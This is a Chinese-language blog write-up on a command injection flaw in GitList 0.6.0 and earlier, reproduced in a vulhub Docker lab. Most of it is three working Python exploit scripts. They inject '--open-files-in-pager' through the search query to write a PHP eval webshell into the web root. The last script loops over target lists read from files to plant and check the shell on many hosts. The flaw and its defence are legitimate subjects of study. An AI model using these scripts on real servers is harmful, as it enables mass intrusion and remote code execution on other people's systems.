Gitlist介绍
Gitlist官网:https://gitlist.org/
gitlist是一款git存储库查看器,开源免费的,用PHP编写基于Sliex和Twig模板引擎。可以通过web界面浏览您的git存储库。
漏洞详情
Gitlis在其0.6.0版本及以前,存在漏洞注入
查看大佬的分析,gitlist调用git grep命令,query是搜索关键字,branch是搜索的分支。
escapeshellarg处理后就会变成能正常执行的shell参数。没有对query的内容进行判断过滤。导致命令的执行。这里我们改成POST包,访问`/example/tree/a/search`,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number `{query}
branch‘"中的‘branch,但因为我们的
query‘被当成了一个参数,所以‘branch`就应该被当做搜索的关键字,关键字如下。
a在创建文件时,表示的是在创建的目录下搜索a这个字母,不存在时无法创建
尝试多次验证,具有偶然性
漏洞复现
使用vulhub进行漏洞复现
docker-compose up -d
漏洞已开启,访问网页,并没有什么其他的东西。
更改get数据包,改为POST,进行文件上传,
在docker靶机内查看,文件已被写入可以使用冰蝎进行连接
尝试网页输入xxx22.php,页面存在可以连接。
执行脚本
还是先进行POST包构造,写入目录后尝试访问php文件状态码来判断,在进行目录字典的筛查。最后在添加可输入的gitlist项目。
第一步,用熟悉的requests构建POST数据包
1 2 3 4 5 6 7 8 9 10 11
| import requests
url = 'http://192.168.1.134:8080/example/tree/o/search' header = { 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"} res = requests.post(url=url,data=body,headers=header) print(res.status_code)
|
第二步,进行上传是否成功验证,验证完后是不是要删除文件还不能确定。先写入进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests
yz = input('是否删除,删除扣1:') url = 'http://192.168.1.134:8080/example/tree/o/search' header = { 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"} res = requests.post(url=url,data=body,headers=header) ress = requests.get('http://192.168.1.134:8080/csm.php') print(ress.status_code) if yz == 1: url = 'http://192.168.1.134:8080/example/tree/s/search' header = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } body = {'query': "--open-files-in-pager=rm /var/www/html/csm.php;"} resz = requests.post(url=url, data=body, headers=header)
|
第三步,可以跑目录的添加,和已存在项目文件名的修改。细节完善。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests
yz = input('是否删除,删除扣1:') file = open('D:/桌面/211.txt') mul = open('D:/桌面/212.txt') while 1: files = file.readline().strip() filem = mul.readline().strip() if filem == '': print('已停止运行!') break ab = files + filem url = '%s/tree/o/search' % ab header = { 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } body = {'query':"--open-files-in-pager=echo '<?php eval($_POST['xxx'])?>' > /var/www/html/csm.php;"} res = requests.post(url=url,data=body,headers=header) ziz = '%scsm.php' %files ress = requests.get(ziz) if ress.status_code == 200: print(url ,'存在漏洞!') if yz == '1': url = '%s/tree/o/search' % ab header = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } body = {'query': "--open-files-in-pager=rm /var/www/html/csm.php;"} resz = requests.post(url=url, data=body, headers=header) print('文件已删除!')
file.close() mul.close()
|
总结
利用该漏洞建立文件需要猜测目录文件下存在那个字母,才能创建成功。漏洞危害性还比较大。建议升级6.0以上版本。